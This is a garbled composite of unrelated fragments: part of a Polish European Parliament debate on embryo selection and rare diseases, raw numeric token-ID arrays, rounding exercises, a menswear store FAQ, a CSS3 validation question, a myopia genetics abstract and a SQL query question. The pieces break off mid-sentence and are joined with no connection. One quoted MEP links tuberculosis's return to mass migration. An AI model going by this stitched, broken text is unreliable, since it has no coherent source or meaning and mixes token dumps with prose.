czyje nie. Nie wolno wywierać w Europie ani politycznych, ani społecznych nacisków na rodziców, aby świadomie podejmowali decyzję przeciwko posiadaniu niepełnosprawnego dziecka. Selekcja embrionów otwarłaby wrota dla nieetycznych działań. Dlatego musimy tę poprawkę odrzucić. Nie wystarczy jedynie usunąć samo słowo "eliminacja”, które zresztą - co należy z przykrością stwierdzić - trąci faszyzującym użyciem języka. Takie pociągnięcie sprawiłoby tylko, że nadal groziłaby nam selekcja embrionów. Byłoby rzeczą nie do zniesienia, gdyby wspomniana poprawka oraz sam pomysł selekcji embrionów miały się stać krokiem ku nowej europejskiej etyce. Musimy stanowczo przeciwstawić się dyskryminacji na tle genetycznym. Poprawkę 15 należy zatem odrzucić w całości. W przeciwnym razie nasza grupa będzie niestety zmuszona głosować za odrzuceniem tego sprawozdania, mimo że jego pozostałe elementy są zdecydowanie pozytywne. Philip Claeys (NL) W sprawozdaniu pana posła Trakatellisa odniesiono się do szeregu niedociągnięć występujących w zaleceniach Rady, i uważam, że są to uwagi słuszne. Przy okazji dodam, że jestem przekonany, że w dziedzinie rzadkich chorób konieczne jest skoordynowane podejście ze strony Unii Europejskiej. Niemniej ani w zaleceniu, ani w sprawozdaniu nie podjęto tematu rzadkich chorób, które napływają do nas z krajów rozwijających się. I tak, na przykład, obserwujemy powrót gruźlicy - choroby, która jeszcze do niedawna uchodziła za całkowicie, lub niemal całkowicie wyeliminowaną na terenie Europy, i która obecnie napływa do nas wraz z masową migracją. Tu także zachodzi konieczność podjęcia niezwłocznych działań w formie szczeg
[ 361, 2787, 9971, 281, 767, 20093, 32, 187, 14, 17, 15, 520, 187, 15654, 428, 17, 15, 15054, 1525, 281, 495, 20093, 15, 187, 14, 17, 15, 16198, 187, 1276, 310, 470, 15, 2950, 14555, 9971, 281, 495, 20093, 32, 187, 17, 15, 33597, 187, 15654, 33311, 281, 253, 5275, 3578, 15, 187, 18911, 187, 1276, 310, 22038, 15, 21, 9971, 281, 253, 5275, 2233, 32, 187, 1518, 187, 15654, 470, 15, 5831, 1237, 281, 2620, 14492, 5053, 15, 187, 17, 15, 5831, 20, 187, 15654, 428, 17, 15, 20151, 25, 281, 767, 20093, 15, 187, 14, 17, 15, 2125, 187, 1276, 310, 428, 17, 15, 9439, 34474, 9971, 281, 721, 14492, 5053, 32, 187, 14, 17, 15, 9439, 22, 187, 15654, 428, 805, 42763, 1418, 281, 253, 5275, 581, 3041, 15, 187, 14, 13381, 8551, 187, 15654, 337, 15, 20, 281, 5058, 20093, 15, 187, 18, 187, 1276, 310, 470, 15, 933, 2358, 13925, 9971, 281, 721, 14492, 5053, 32, 187, 17, 15, 933, 2358, 187, 15654, 428, 1348, 15, 1797, 281, 253, 5275, 7007, 15, 187, 14, 1348, 187, 1276, 310, 495, 15, 45475, 9971, 281, 581, 14492, 1659, 32, 187, 20, 15, 22, 187, 1276, 310, 337, 15, 21, 25289, 9971, 281, 374, 14492, 5053, 32, 187, 18, 15, 3079, 187, 1276, 310, 608, 15, 2941, 1093, 9971, 281, 337, 33234, 32, 187, 22, 187, 15654, 8978, 35323, 281, 253, 5275, 581, 4289, 15, 187, 3046, 10695, 187, 15654, 428, 17, 15, 1418, 21866, 2537, 281, 721, 20093, 15, 187, 14, 17, 15, 1418, 1797, 187, 1276, 310, 470, 15, 18, 6080, 273, 253, 7208, 2546, 3533, 42969, 2708, 187, 187, 11728, 636, 757, 4060, 187, 187, 40337, 10320, 280, 263, 1216, 15, 681, 310, 271, 3909, 12701, 4657, 326, 6131, 11650, 5899, 34939, 21417, 15, 1422, 476, 4354, 34740, 949, 1027, 18406, 285, 1659, 271, 1340, 604, 368, 751, 667, 15, 844, 760, 897, 15087, 3290, 8067, 285, 519, 1575, 942, 323, 512, 3510, 273, 622, 28091, 2130, 387, 776, 4657, 15, 187, 187, 1231, 452, 247, 8485, 4849, 273, 17039, 10648, 88, 6451, 13, 24941, 893, 1349, 75, 2902, 285, 277, 12022, 74, 24941, 893, 323, 1821, 285, 8290, 273, 512, 11880, 15, 23243, 342, 436, 13, 359, 671, 452, 5899, 12682, 313, 17616, 1316, 66, 582, 4389, 66, 13, 24949, 363, 285, 643, 28234, 326, 403, 7470, 323, 11650, 7753, 3056, 15, 187, 187, 4374, 13, 604, 368, 971, 281, 923, 752, 9830, 403, 2130, 323, 1798, 3580, 13, 368, 476, 3609, 2802, 29203, 407, 3295, 457, 4500, 15, 496, 436, 1039, 368, 476, 3609, 667, 273, 253, 9830, 326, 403, 2130, 323, 326, 1798, 1885, 15, 187, 187, 3404, 22968, 10320, 280, 263, 1216, 15, 681, 13, 2629, 1979, 2097, 253, 3963, 1979, 2130, 323, 1821, 285, 8290, 15, 13773, 2629, 9552, 403, 2130, 323, 1027, 11880, 273, 1821, 285, 8290, 15, 1916, 1859, 253, 1979, 8326, 285, 2629, 1979, 323, 247, 1798, 1885, 13, 816, 5532, 327, 253, 1885, 285, 512, 253, 9552, 2130, 588, 320, 2011, 327, 253, 42498, 15, 16551, 253, 1979, 326, 13840, 368, 285, 368, 403, 327, 634, 1039, 281, 1659, 253, 1340, 15, 187, 187, 8267, 2060, 556, 697, 1211, 6341, 3103, 28, 2840, 1979, 310, 253, 1979, 534, 310, 326, 1798, 6814, 326, 13840, 634, 2133, 9670, 15, 1310, 368, 513, 417, 1089, 634, 1979, 275, 253, 2629, 8326, 840, 368, 476, 1900, 2028, 441, 634, 1979, 285, 368, 588, 755, 247, 40637, 14, 12710, 1885, 323, 253, 8120, 15, 187, 187, 36, 663, 4351, 327, 247, 1798, 1885, 326, 368, 751, 588, 1527, 598, 1529, 4384, 3239, 4508, 512, 253, 5667, 4278, 670, 253, 1885, 15, 3856, 368, 588, 452, 253, 4500, 323, 29315, 634, 1211, 1979, 15, 329, 4564, 273, 9912, 12783, 588, 3176, 835, 368, 588, 320, 2424, 281, 7522, 275, 634, 3451, 6341, 15, 1422, 476, 671, 755, 690, 1361, 327, 849, 281, 1379, 3451, 6341, 15, 7243, 368, 403, 2218, 5532, 327, 253, 5321, 6409, 285, 823, 253, 1885, 281, 12701, 7281, 15, 50, 27, 187, 187, 9016, 20, 2506, 626, 789, 32, 187, 187, 42, 452, 436, 5313, 273, 14271, 27, 187, 14277, 7229, 2715, 568, 18, 15, 17, 3, 9706, 568, 18441, 14, 25, 28739, 187, 30952, 32735, 14271, 35283, 19479, 605, 56, 20, 36, 605, 41375, 1594, 15597, 337, 15, 18, 605, 1400, 3, 187, 50274, 3, 2413, 1358, 2700, 15, 88, 20, 15, 2061, 16, 3125, 16, 35217, 883, 16, 41375, 16, 35217, 883, 15, 48328, 1138, 187, 29, 2974, 15664, 568, 2413, 1358, 2700, 15, 88, 20, 15, 2061, 16, 9595, 16, 35217, 3, 10366, 27, 8700, 568, 257, 3, 2239, 187, 50276, 29, 2522, 31, 187, 50274, 29, 5564, 31, 10292, 1983, 1594, 15597, 337, 15, 18, 15027, 870, 5564, 31, 187, 50274, 29, 4826, 1511, 568, 1156, 16, 9016, 1138, 187, 50270, 81, 15, 2566, 551, 187, 50266, 14224, 27, 337, 3498, 4891, 1852, 8551, 28, 187, 50266, 11300, 14, 5641, 27, 1024, 1761, 28, 187, 50266, 3429, 27, 2233, 10543, 187, 50266, 27745, 27, 8763, 28, 187, 50266, 1156, 14, 27745, 27, 11591, 2824, 261, 28, 187, 50270, 94, 187, 50274, 870, 4826, 31, 187, 50276, 870, 2522, 31, 187, 50276, 29, 2915, 31, 187, 50274, 29, 81, 966, 568, 2566, 1138, 1552, 310, 247, 8723, 654, 66, 3860, 568, 2413, 1358, 2700, 15, 88, 20, 15, 2061, 16, 3125, 16, 35217, 883, 1138, 57, 15597, 337, 15, 18, 870, 66, 31, 3389, 8239, 81, 31, 187, 50276, 870, 2915, 31, 187, 870, 2974, 31, 187, 187, 1989, 604, 309, 1611, 281, 17813, 352, 1060, 27, 187, 2413, 1358, 75, 17638, 1403, 15, 88, 20, 15, 2061, 16, 9016, 14, 7210, 1080, 21225, 30716, 64, 1615, 64, 5423, 12, 3113, 64, 10121, 187, 42, 755, 253, 1563, 2228, 27, 187, 81, 15, 2566, 50276, 21962, 11759, 544, 11004, 2876, 62, 2490, 187, 34, 27, 187, 187, 31780, 556, 2717, 281, 513, 342, 1880, 667, 1798, 2867, 2987, 275, 667, 9882, 15, 733, 760, 6492, 1880, 253, 16144, 285, 2600, 3637, 253, 2629, 15, 1284, 436, 2228, 3054, 13, 352, 1057, 417, 2226, 275, 16710, 374, 15, 18, 533, 352, 1057, 2226, 275, 16710, 20, 15, 1422, 476, 3609, 16710, 20, 432, 253, 346, 7673, 27921, 3, 5926, 1066, 3817, 535, 34, 6380, 2495, 4868, 285, 1180, 273, 619, 6361, 4651, 10939, 3283, 619, 30147, 15, 187, 1992, 7409, 1880, 247, 6380, 2495, 4868, 313, 6217, 52, 10, 5520, 3045, 273, 21565, 32450, 2228, 2429, 281, 8958, 247, 1429, 434, 1180, 273, 619, 6361, 4651, 313, 47, 4548, 10, 3815, 15, 831, 369, 247, 19403, 1783, 273, 941, 432, 253, 8784, 251, 8057, 13315, 12602, 273, 37850, 285, 12757, 313, 1556, 4350, 1934, 10, 4201, 11077, 1263, 15, 7567, 36484, 2228, 369, 7515, 1048, 7128, 3341, 875, 2363, 818, 14, 1010, 970, 1327, 14, 12642, 879, 72, 280, 47694, 46991, 15, 37003, 11640, 313, 79, 426, 21300, 10, 2330, 342, 32450, 2228, 432, 247, 42849, 323, 7567, 36484, 11759, 1244, 2752, 30147, 313, 15718, 2300, 10, 9128, 14, 4363, 5864, 1263, 497, 908, 281, 10173, 247, 443, 6453, 323, 1016, 1429, 15, 6915, 32450, 2228, 387, 11880, 818, 285, 1458, 1107, 347, 253, 6454, 4778, 13, 10235, 273, 7441, 313, 51, 19, 2387, 2193, 497, 5118, 3066, 4872, 9077, 3210, 323, 253, 23477, 27, 427, 4548, 13, 443, 6453, 285, 247, 5678, 1566, 15, 11057, 273, 619, 6361, 4651, 369, 22112, 15970, 273, 32450, 2228, 275, 2151, 10652, 818, 1107, 13, 416, 19, 426, 495, 15, 17, 6, 313, 2222, 6, 7309, 337, 15, 25, 14, 21, 15, 18, 5294, 268, 654, 470, 15, 5831, 10, 285, 10652, 1458, 1107, 13, 416, 19, 426, 577, 15, 25, 6, 313, 20, 15, 18, 14, 23, 15, 22, 5294, 268, 654, 470, 15, 5831, 481, 380, 443, 6453, 369, 671, 22112, 15970, 28, 2363, 818, 1107, 13, 416, 19, 426, 337, 15, 18, 6, 313, 17, 15, 21, 14, 18, 15, 26, 5294, 268, 654, 470, 15, 5831, 10, 285, 1458, 1107, 416, 19, 426, 374, 15, 23, 6, 313, 18, 15, 20, 14, 20, 15, 26, 5294, 268, 654, 470, 15, 5831, 481, 39369, 253, 374, 4903, 3534, 4067, 416, 19, 2193, 387, 2363, 818, 13, 416, 19, 426, 495, 15, 24, 6, 313, 19, 15, 22, 14, 22, 15, 17, 5294, 268, 654, 470, 15, 5831, 10, 285, 1458, 13, 416, 19, 426, 818, 15, 17, 6, 313, 22, 15, 17, 14, 26, 15, 17, 5294, 268, 654, 470, 15, 5831, 481, 380, 5678, 1566, 5520, 3045, 387, 1097, 11880, 313, 15617, 268, 654, 470, 15, 5831, 481, 329, 443, 6453, 5520, 253, 3745, 281, 2736, 2151, 387, 2495, 273, 619, 30147, 10939, 273, 8958, 253, 427, 4548, 15, 844, 30821, 436, 778, 320, 984, 427, 4548, 28174, 1491, 8664, 6938, 2495, 2616, 323, 619, 30147, 15, 12257, 13, 2007, 15988, 403, 2424, 281, 1056, 824, 15970, 5216, 32811, 275, 253, 3382, 3126, 15, 50, 27, 187, 187, 12070, 27, 1310, 3635, 755, 4284, 1318, 432, 2829, 378, 1754, 327, 47811, 432, 2829, 329, 187, 187, 56, 9631, 272, 604, 3780, 476, 1918, 479, 28145, 327, 849, 281, 1682, 8415, 436, 7316, 1895, 15, 209, 187, 42, 452, 767, 7180, 326, 476, 320, 7416, 407, 5649, 2127, 285, 2567, 2127, 15, 7214, 2829, 329, 556, 8183, 1180, 15, 50276, 187, 3235, 329, 428, 14026, 8183, 941, 285, 616, 5649, 8322, 285, 11646, 15, 1310, 3635, 840, 1007, 281, 5270, 378, 323, 4284, 2408, 273, 253, 5649, 2127, 15, 187, 3235, 378, 428, 14026, 2567, 4284, 8322, 273, 253, 5649, 11646, 15, 209, 187, 30003, 310, 752, 309, 1353, 2820, 281, 755, 387, 15, 7214, 253, 16318, 403, 37254, 15, 3105, 2119, 253, 1682, 2746, 588, 320, 281, 755, 253, 1543, 309, 878, 15, 309, 1849, 3597, 2709, 4088, 15, 309, 3562, 247, 8083, 875, 253, 767, 4680, 309, 476, 2085, 690, 9317, 327, 253, 8346, 7316, 533, 309, 1353, 16116, 247, 3971, 2972, 969, 15, 187, 187, 10004, 209, 187, 11, 187, 4064, 313, 187, 12995, 187, 50274, 3172, 35, 64, 3172, 49, 64, 7716, 187, 50276, 13, 444, 9180, 64, 27550, 64, 16699, 187, 50276, 13, 444, 9180, 64, 35, 1400, 64, 16699, 187, 50276, 13, 50275, 35111, 9, 187, 50274, 42495, 187, 50272, 8835, 1400, 444, 9180, 64, 35, 1400, 64, 16699, 2949, 12196, 4196, 361, 1383, 686, 4196, 520, 1383, 686, 26, 31459, 1383, 686, 26, 29251, 1383, 686, 26, 26890, 3401, 187, 50272, 5543, 444, 9180, 64, 35, 1400, 64, 10560, 50276, 30, 686, 49, 8, 4889, 444, 9180, 64, 35, 1400, 64, 2300, 19984, 4110, 5803, 5812, 187, 50272, 3886, 1400, 313, 3172, 35, 64, 35, 1400, 64, 2300, 19984, 1227, 2233, 10, 187, 50274, 3887, 2354, 470, 187, 50276, 8112, 10, 7412, 346, 3357, 51, 8904, 3322, 42917, 64, 10810, 36, 3, 2490, 50276, 22050, 187, 50274, 1473, 15, 4789, 21568, 7564, 246, 20, 187, 50276, 31102, 187, 50274, 3172, 35, 64, 35, 1400, 64, 16699, 50275, 1042, 12196, 4196, 361, 1383, 686, 4196, 520, 1383, 686, 26, 31459, 1383, 686, 26, 29251, 1383, 686, 26, 26890, 3401, 187, 50276, 5543, 444, 9180, 64, 8112, 64, 33762, 4110, 5812, 187, 50276, 5543, 444, 9180, 64, 27550, 64, 16699, 426, 686, 15804, 8, 187, 50276, 5543, 444, 9180, 64, 3172, 49, 64, 7716, 426, 686, 25, 29868, 8, 187, 50276, 30220, 9149, 187, 50274, 3172, 35, 64, 3172, 49, 64, 7716, 187, 50276, 13, 444, 9180, 64, 27550, 64, 16699, 187, 50276, 13, 444, 9180, 64, 35, 1400, 64, 16699, 187, 20172, 187, 187, 12995, 187, 50274, 8, 25409, 8, 7412, 346, 25409, 64, 35, 1400, 16699, 3, 187, 50275, 13, 6392, 35, 64, 27550, 64, 16699, 50254, 979, 50263, 7412, 346, 42263, 6328, 1556, 51, 5736, 36, 64, 9507, 5077, 48, 2573, 3, 187, 50275, 13, 6392, 35, 64, 35, 1400, 64, 16699, 50254, 979, 50263, 209, 7412, 346, 42263, 6328, 1556, 51, 5736, 36, 64, 35, 1400, 16699, 3, 50274, 187, 50275, 13, 50275, 187, 50274, 42495, 187, 50272, 8835, 1400, 6392, 35, 64, 35, 1400, 64, 16699, 2949, 12196, 4196, 361, 1383, 686, 4196, 520, 1383, 686, 26, 31459, 1383, 686, 26, 29251, 1383, 686, 26, 26890, 3401, 187, 50272, 5543, 6392, 35, 64, 35, 1400, 64, 10560, 50276, 30, 686, 49, 8, 187, 50272 ]	0079 rounded to two dps? -0.01 Round -0.15599 to 3 dps. -0.156 What is 0.46147 rounded to 3 dps? 0.461 Round 319 to the nearest ten. 320 What is 202.4 rounded to the nearest 100? 200 Round 0.000132 to five decimal places. 0.00013 Round -0.0358 to two dps. -0.04 What is -0.00000481 rounded to 6 decimal places? -0.000005 Round -125720000 to the nearest one million. -126000000 Round 1.3 to zero dps. 1 What is 0.00068011 rounded to 6 decimal places? 0.00068 Round -24.21 to the nearest integer. -24 What is 3.477 rounded to one decimal place? 3.5 What is 1.4348 rounded to 2 decimal places? 1.43 What is 5.0318 rounded to 1 dp? 5 Round 59796 to the nearest one hundred. 59800 Round -0.000021449 to 6 dps. -0.000021 What is 0.1Some of the frequently asked questions enlisted below Accordian title Sherwanicorner.com is an online shopping store that offers Asian traditional menswear. You can easily browse through different collections and place an order if you like any. We only use premium quality fabric and adornments for all types of apparel available at our store. We have a vast collection of designer Sherwani, Kurta pajama and dhoti Kurta for men and boys of all ages. Along with this, we also have traditional shoes (khussa), safa, pagri and other accessories that are suitable for Asian grooms. Yes, if you want to see what colors are available for particular products, you can select ‘shop by color’ option. In this way you can select any of the colors that are available for that particular product. At sherwanicorner.com, standard size means the regular size available for men and boys. Different standard sizes are available for different ages of men and boys. To view the size chart and standard size for a particular product, just click on the product and all the sizes available will be shown on the webpage. Select the size that fits you and you are on your way to place the order. Every individual has its own measurements therefore; custom size is the size which is that particular measurement that fits your body perfectly. If you do not find your size in the standard chart then you can always tell us your size and you will get a tailor-made product for the occasion. Clicking on a particular product that you like will open up another web page containing all the essential details about the product. Here you will have the option for submitting your own size. A couple of blank boxes will appear where you will be required to fill in your correct measurements. You can also get some help on how to take correct measurements. Once you are done click on the save button and add the product to shopping cart.Q: css3 doesn't work? I have this piece of html: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head> <title>Minimal XHTML 1.1 Document</title> <style type="text/css"> p.test { border: 1px solid #000000; white-space: nowrap; width: 100%; overflow: hidden; text-overflow: ellipsis; } </style> </head> <body> <p class="test">This is a minimal <a href="http://www.w3.org/TR/xhtml11">XHTML 1.1</a> document.</p> </body> </html> But if I try to validate it here: http://jigsaw.w3.org/css-validator/#validate_by_input+with_options I get the following error: p.test Parse Error [empty string] A: Validation has nothing to do with whether any particular property works in any browser. It only indicates whether the syntax and content follows the standard. As this error states, it does not exist in CSS 2.1 but it does exist in CSS3. You can select CSS3 from the "More Options" drop down box A genetic risk score and number of myopic parents independently predict myopia. To investigate whether a genetic risk score (GRS) improved performance of predicting refractive error compared to knowing a child's number of myopic parents (NMP) alone. This was a retrospective analysis of data from the Avon Longitudinal Study of Parents and Children (ALSPAC) birth cohort study. Refractive error was assessed longitudinally between age 7-15 using non-cycloplegic autorefraction. Genetic variants (n = 149) associated with refractive error from a Consortium for Refractive Error And Myopia (CREAM) genome-wide association study were used to calculate a GRS for each child. Using refractive error at ages 7 and 15 years as the outcome variable, coefficient of determination (R2 ) values were calculated via linear regression models for the predictors: NMP, GRS and a combined model. Number of myopic parents was weakly predictive of refractive error in children aged 7 years, R2 = 3.0% (95% CI 1.8-4.1%, p < 0.0001) and aged 15 years, R2 = 4.8% (3.1-6.5%, p < 0.0001). The GRS was also weakly predictive; age 7 years, R2 = 1.1% (0.4-1.9%, p < 0.0001) and 15 years R2 = 2.6% (1.3-3.9%, p < 0.0001). Combining the 2 variables gave larger R2 values at age 7, R2 = 3.7% (2.5-5.0%, p < 0.0001) and 15, R2 = 7.0% (5.0-9.0%, p < 0.0001). The combined model improved performance at both ages (both p < 0.0001). A GRS improved the ability to detect children at risk of myopia independently of knowing the NMP. We speculate this may be because NMP captures information concerning environmental risk factors for myopia. Nevertheless, further gains are required to make such predictive tests worthwhile in the clinical environment.Q: SQL: If null get default value from table B based on identifiers from table A Wondering if anyone can give me hints on how to best solve this query problem. I have two tables that can be joined by benefit code and company code. Only table A has employee number. Table A - Has employee data and their benefit amounts and codes. If null then look to Table B for default amount of the benefit code. Table B - Has company default amounts of the benefit codes. Below is what I'm trying to get at. Only the highlighted are summed. Not sure the best approach will be to get the results I need. I've tried multiple ways. I created a union between the two thinking I can provide some logic on the outer query but I'm hitting a road block again. Select * from ( SELECT EMB_EMP_NO , EMB_COMP_CODE , EMB_BEN_CODE , SUM( CASE WHEN EMB_BEN_CODE IN ('9600', '9601', '9602', '9603', '9604') AND EMB_BEN_TYPE = 'P' AND EMB_BEN_AMOUNT IS NOT NULL THEN (EMB_BEN_AMOUNT / 100) ELSE 0 END) AS "53RDBURDEN_PERC" FROM da.pyempben t3 WHERE EMB_BEN_CODE IN ('9600', '9601', '9602', '9603', '9604') AND EMB_END_DATE IS NULL AND EMB_COMP_CODE = 'ACC' AND EMB_EMP_NO = '8687' GROUP BY EMB_EMP_NO , EMB_COMP_CODE , EMB_BEN_CODE union SELECT 'DEFAULT' AS "DEFAULT_BENCODE" , COB_COMP_CODE AS "ACPYSALRPTC_COMPCODE" , COB_BEN_CODE AS "ACPYSALRPTC_BENCODE" , CASE WHEN COB_BEN_CODE IN ('9600', '9601', '9602', '9603', '9604') AND COB_BEN_TYPE = 'P'
[ 1547, 10839, 6134, 314, 15, 346, 3726, 5082, 626, 1339, 479, 3324, 619, 892, 1137, 937, 344, 753, 2298, 375, 600, 15, 187, 187, 21727, 757, 316, 3407, 281, 5333, 8507, 4087, 275, 521, 7319, 15, 48706, 281, 4089, 285, 342, 760, 13862, 1475, 779, 13, 352, 369, 642, 4282, 344, 3407, 281, 1928, 42467, 1070, 15, 309, 8156, 326, 309, 369, 19507, 670, 6987, 284, 1031, 13, 1512, 13, 285, 33046, 619, 9970, 15, 187, 187, 510, 9455, 4455, 281, 1390, 247, 1048, 673, 15, 187, 187, 3404, 1390, 359, 2210, 281, 247, 19086, 15, 309, 3543, 253, 30653, 16359, 4830, 8336, 15, 380, 36708, 497, 8392, 896, 15, 329, 4677, 5877, 355, 23037, 247, 30162, 29387, 320, 777, 11406, 323, 441, 281, 3213, 562, 15, 380, 1708, 273, 253, 26126, 4950, 253, 2454, 273, 7728, 2310, 5710, 316, 13, 2167, 344, 369, 14186, 417, 275, 8862, 533, 275, 247, 3644, 10839, 280, 417, 12401, 253, 581, 309, 369, 9398, 15, 1893, 497, 512, 253, 1821, 1475, 779, 15, 9658, 731, 309, 7478, 690, 273, 253, 18694, 19699, 8636, 74, 285, 6813, 74, 665, 574, 6730, 479, 16867, 13, 1690, 253, 8481, 6813, 316, 285, 611, 656, 266, 6358, 15, 7160, 14234, 369, 594, 3644, 326, 352, 369, 1892, 281, 2028, 581, 432, 1529, 13, 533, 326, 369, 22991, 15, 329, 637, 1057, 417, 2746, 253, 401, 6465, 14186, 275, 824, 247, 1039, 347, 281, 1067, 4116, 281, 2994, 15, 187, 187, 4015, 3292, 253, 30653, 14, 1257, 44798, 3212, 13, 285, 3977, 407, 247, 1643, 2190, 441, 12206, 7263, 2706, 13, 359, 7428, 247, 2159, 4181, 13, 15910, 387, 247, 1698, 3402, 1160, 273, 7227, 14, 248, 939, 17380, 15, 1707, 369, 247, 2740, 275, 436, 3402, 13, 4457, 534, 247, 33791, 1854, 3977, 281, 247, 9096, 273, 12413, 2158, 2645, 7100, 7139, 15, 496, 253, 13862, 13, 352, 369, 1892, 281, 5963, 253, 9080, 273, 436, 9096, 15, 380, 10086, 13, 36019, 7139, 6225, 594, 2810, 2366, 326, 597, 4447, 247, 3686, 273, 3402, 15, 21836, 1537, 320, 3304, 326, 9096, 273, 7139, 812, 417, 320, 2326, 15, 187, 187, 510, 2360, 369, 1077, 1335, 15, 1707, 369, 642, 3590, 3707, 326, 273, 33535, 285, 253, 9370, 1981, 273, 7263, 2706, 15, 329, 2567, 273, 31636, 14, 1257, 44798, 13781, 28, 841, 497, 253, 6963, 434, 3055, 2133, 36259, 13, 46017, 275, 25034, 285, 31942, 1507, 326, 20786, 3163, 275, 253, 30162, 3243, 15, 1583, 46452, 247, 1355, 1387, 14186, 275, 253, 1072, 3644, 10839, 982, 347, 253, 6813, 74, 285, 18694, 19699, 8636, 74, 15, 9658, 253, 17682, 9365, 34420, 407, 253, 22336, 2158, 1708, 309, 3047, 1110, 273, 9422, 532, 727, 285, 33538, 3093, 316, 15, 187, 187, 3404, 253, 1481, 273, 436, 2567, 369, 247, 637, 665, 651, 452, 6225, 562, 1014, 604, 344, 574, 417, 644, 9398, 247, 1193, 1059, 273, 19445, 285, 3168, 327, 521, 1481, 15, 353, 334, 6992, 684, 6225, 38165, 685, 1014, 253, 10086, 383, 273, 521, 2133, 36259, 13, 285, 521, 2806, 10839, 280, 858, 417, 26037, 253, 37535, 273, 521, 13574, 285, 253, 6513, 939, 1632, 273, 521, 6174, 285, 9246, 15, 11474, 253, 2360, 369, 5890, 13, 344, 14782, 247, 35053, 347, 973, 13, 816, 347, 611, 656, 266, 6358, 574, 8131, 13, 3981, 253, 6963, 1900, 14782, 352, 323, 1774, 15530, 1128, 783, 19445, 35053, 273, 13651, 253, 6495, 13, 2668, 432, 253, 22437, 2578, 19659, 387, 18084, 15, 380, 5328, 32957, 1334, 90, 327, 253, 35053, 7270, 253, 1708, 13, 2007, 4758, 779, 7419, 432, 253, 1551, 273, 441, 15, 187, 187, 510, 6963, 434, 2454, 369, 4076, 14, 1200, 7603, 13, 4645, 521, 6422, 21065, 15, 7608, 348, 3243, 5055, 562, 30450, 273, 9711, 17421, 253, 1048, 4707, 2049, 264, 896, 432, 521, 2454, 15, 3032, 2266, 3386, 497, 1110, 273, 247, 637, 665, 4453, 521, 1682, 275, 4766, 2363, 15, 3032, 6208, 369, 22072, 533, 521, 2927, 1289, 262, 3606, 342, 7162, 15, 187, 187, 510, 760, 643, 33490, 309, 574, 2455, 2326, 594, 2810, 387, 1133, 369, 253, 4102, 372, 7334, 4377, 367, 936, 282, 2577, 13, 896, 275, 10253, 15, 5761, 1821, 812, 417, 452, 644, 625, 43110, 15, 1310, 4377, 367, 936, 282, 2577, 369, 253, 269, 1595, 383, 637, 309, 1871, 2455, 2326, 13, 353, 334, 6992, 684, 369, 581, 273, 253, 269, 44713, 13, 285, 5604, 253, 954, 36418, 15, 41583, 779, 275, 253, 15447, 13, 309, 711, 30125, 323, 521, 13948, 13, 1690, 12300, 15, 187, 187, 42, 711, 30125, 323, 4266, 13, 347, 973, 13, 323, 436, 369, 253, 637, 359, 497, 772, 46496, 281, 49768, 15, 4952, 387, 247, 17834, 13, 309, 3047, 326, 353, 334, 6992, 684, 369, 642, 637, 434, 11213, 15, 1737, 574, 359, 644, 4680, 32, 309, 12659, 253, 660, 2727, 272, 33737, 8387, 1041, 1473, 574, 1160, 347, 309, 2529, 776, 6974, 15, 309, 3543, 1708, 14, 24818, 15, 329, 10480, 282, 273, 17052, 3802, 6840, 697, 1039, 1066, 619, 17201, 15, 187, 187, 9301, 281, 253, 6963, 13, 594, 1199, 4577, 326, 703, 4455, 2761, 247, 1429, 13, 369, 253, 19538, 15, 4200, 553, 369, 1863, 41746, 275, 2806, 23048, 15, 4058, 2133, 21884, 715, 253, 13862, 13, 594, 326, 617, 2502, 14, 27716, 4707, 285, 14530, 3790, 2454, 4455, 2761, 281, 20978, 17255, 13, 347, 604, 7660, 281, 2717, 11834, 15, 187, 187, 42, 17377, 387, 253, 2571, 275, 253, 6963, 434, 2567, 15, 15222, 9422, 532, 727, 285, 33538, 3093, 316, 13, 309, 7478, 253, 2872, 12843, 367, 936, 282, 2577, 13, 665, 6225, 2822, 4200, 553, 15, 380, 14072, 21115, 376, 273, 521, 2936, 3348, 316, 16834, 13, 342, 697, 40110, 2927, 13, 1289, 262, 3606, 275, 253, 1708, 15, 6049, 369, 344, 1146, 2908, 275, 253, 17651, 32, 10348, 253, 6963, 1158, 273, 253, 41802, 24012, 347, 629, 273, 521, 11692, 32, 2207, 13, 1580, 344, 14782, 247, 16834, 13, 369, 367, 936, 282, 2577, 1246, 347, 247, 17292, 8612, 273, 10253, 13, 5747, 521, 3392, 434, 2965, 432, 253, 23399, 32, 187, 187, 2512, 369, 671, 247, 637, 309, 2335, 281, 320, 6365, 16104, 16973, 273, 322, 336, 26633, 13, 253, 594, 14, 8890, 12300, 14, 41, 727, 13, 581, 273, 253, 6963, 434, 8642, 47267, 15, 611, 656, 266, 6358, 574, 2529, 253, 637, 285, 2183, 479, 247, 1652, 670, 779, 253, 2045, 2360, 13, 3981, 6365, 16104, 16973, 651, 320, 253, 19969, 1475, 5207, 359, 1364, 320, 954, 10182, 13, 984, 273, 521, 8530, 3745, 281, 4456, 1046, 2508, 273, 3253, 344, 3047, 285, 3735, 15, 6365, 16104, 16973, 574, 3962, 264, 521, 3541, 342, 247, 1332, 273, 521, 1211, 3688, 13, 1754, 10380, 327, 253, 22387, 273, 253, 1182, 351, 14427, 15, 309, 16632, 309, 812, 452, 1313, 779, 762, 643, 5989, 15, 2752, 3392, 574, 10256, 479, 690, 2969, 24866, 273, 16407, 1320, 13, 533, 752, 1537, 6365, 16104, 16973, 320, 2104, 281, 9798, 479, 32, 187, 187, 9917, 2822, 253, 2914, 273, 253, 2567, 369, 247, 637, 309, 8025, 281, 320, 4200, 553, 434, 3392, 13, 6778, 38332, 14745, 15, 1284, 10643, 2865, 30504, 273, 10643, 1041, 316, 13, 344, 4824, 247, 4750, 342, 247, 5328, 47133, 387, 253, 1755, 281, 921, 521, 6265, 347, 247, 17292, 18182, 254, 15, 309, 3261, 387, 779, 760, 323, 271, 8164, 13, 984, 309, 8423, 3047, 767, 1821, 21816, 896, 275, 253, 1387, 13, 8763, 275, 253, 20586, 1919, 326, 2774, 15, 187, 187, 510, 767, 1821, 6225, 562, 323, 1077, 1027, 4606, 13, 581, 327, 2395, 273, 521, 1979, 1128, 248, 369, 1014, 38165, 685, 253, 6963, 13, 6296, 3240, 6830, 253, 6253, 637, 309, 574, 2455, 2326, 1128, 395, 253, 643, 984, 13, 12401, 4130, 2010, 13, 344, 369, 14186, 275, 3168, 15, 380, 10864, 574, 247, 23646, 2084, 13, 22072, 2454, 285, 8862, 4707, 13, 285, 